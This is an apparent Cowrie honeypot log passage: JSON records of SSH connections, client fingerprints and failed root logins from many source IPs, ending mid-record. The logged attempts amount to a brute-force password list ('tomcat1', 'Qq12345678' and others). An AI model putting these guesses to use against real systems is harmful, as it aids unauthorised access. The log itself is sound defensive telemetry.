{"eventid":"cowrie.login.failed","username":"root","password":"tomcat1","message":"login attempt [root/tomcat1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:53.985212Z","src_ip":"181.47.9.103","session":"0c59f614f3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":35726,"dst_ip":"159.203.135.109","dst_port":22,"session":"a882032b1f18","protocol":"ssh","message":"New connection: 119.28.117.200:35726 (159.203.135.109:22) [session: a882032b1f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:54.544613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:54.548722Z","src_ip":"119.28.117.200","session":"a882032b1f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:54.787166Z","src_ip":"119.28.117.200","session":"a882032b1f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:55.129340Z","src_ip":"181.47.9.103","session":"0c59f614f3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lan","message":"login attempt [root/lan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:55.772788Z","src_ip":"119.28.117.200","session":"a882032b1f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59506,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5a56b3027d","protocol":"ssh","message":"New connection: 38.93.206.2:59506 (10.17.0.5:22) [session: 3b5a56b3027d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:55.911997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:55.917627Z","src_ip":"38.93.206.2","session":"3b5a56b3027d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:55.968225Z","src_ip":"38.93.206.2","session":"3b5a56b3027d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iceman","message":"login attempt [root/iceman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:56.124087Z","src_ip":"38.93.206.2","session":"3b5a56b3027d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:57.014435Z","src_ip":"119.28.117.200","session":"a882032b1f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:57.176664Z","src_ip":"38.93.206.2","session":"3b5a56b3027d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":36476,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7f2fa2c8d74","protocol":"ssh","message":"New connection: 163.227.230.54:36476 (159.203.135.109:22) [session: f7f2fa2c8d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:04.025311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:04.031309Z","src_ip":"163.227.230.54","session":"f7f2fa2c8d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:04.277570Z","src_ip":"163.227.230.54","session":"f7f2fa2c8d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootlinux","message":"login attempt [root/rootlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:05.291203Z","src_ip":"163.227.230.54","session":"f7f2fa2c8d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:06.544989Z","src_ip":"163.227.230.54","session":"f7f2fa2c8d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":49206,"dst_ip":"159.203.135.109","dst_port":22,"session":"32a81126ec93","protocol":"ssh","message":"New connection: 184.94.212.80:49206 (159.203.135.109:22) [session: 32a81126ec93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:07.065382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:07.070710Z","src_ip":"184.94.212.80","session":"32a81126ec93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:07.135529Z","src_ip":"184.94.212.80","session":"32a81126ec93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:07.424601Z","src_ip":"184.94.212.80","session":"32a81126ec93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:08.492265Z","src_ip":"184.94.212.80","session":"32a81126ec93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":58584,"dst_ip":"159.203.135.109","dst_port":22,"session":"061b2d601f2a","protocol":"ssh","message":"New connection: 43.156.237.246:58584 (159.203.135.109:22) [session: 061b2d601f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:12.415578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:12.421426Z","src_ip":"43.156.237.246","session":"061b2d601f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:12.667789Z","src_ip":"43.156.237.246","session":"061b2d601f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marine","message":"login attempt [root/marine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:13.680990Z","src_ip":"43.156.237.246","session":"061b2d601f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:14.935866Z","src_ip":"43.156.237.246","session":"061b2d601f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.810340881347656,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:18.741945Z","src_ip":"186.195.16.41","session":"40c3dff7dfbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":35188,"dst_ip":"159.203.135.109","dst_port":22,"session":"239bc4ed1f80","protocol":"ssh","message":"New connection: 115.178.75.242:35188 (159.203.135.109:22) [session: 239bc4ed1f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:21.568827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:21.573477Z","src_ip":"115.178.75.242","session":"239bc4ed1f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:21.750842Z","src_ip":"115.178.75.242","session":"239bc4ed1f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"80486","message":"login attempt [root/80486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:22.492601Z","src_ip":"115.178.75.242","session":"239bc4ed1f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:23.673589Z","src_ip":"115.178.75.242","session":"239bc4ed1f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":53302,"dst_ip":"159.203.135.109","dst_port":22,"session":"303d1688cd94","protocol":"ssh","message":"New connection: 43.134.27.11:53302 (159.203.135.109:22) [session: 303d1688cd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:29.163339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:29.169580Z","src_ip":"43.134.27.11","session":"303d1688cd94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:29.415777Z","src_ip":"43.134.27.11","session":"303d1688cd94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prince","message":"login attempt [root/prince] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:30.429599Z","src_ip":"43.134.27.11","session":"303d1688cd94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:31.679380Z","src_ip":"43.134.27.11","session":"303d1688cd94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.247.254","src_port":48408,"dst_ip":"159.203.135.109","dst_port":22,"session":"86781f2d4650","protocol":"ssh","message":"New connection: 31.173.247.254:48408 (159.203.135.109:22) [session: 86781f2d4650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:35.604719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:35.616380Z","src_ip":"31.173.247.254","session":"86781f2d4650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:35.864306Z","src_ip":"31.173.247.254","session":"86781f2d4650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":56720,"dst_ip":"159.203.135.109","dst_port":22,"session":"f37d80625f9c","protocol":"ssh","message":"New connection: 207.154.230.149:56720 (159.203.135.109:22) [session: f37d80625f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:35.901237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:50:35.905601Z","src_ip":"207.154.230.149","session":"f37d80625f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp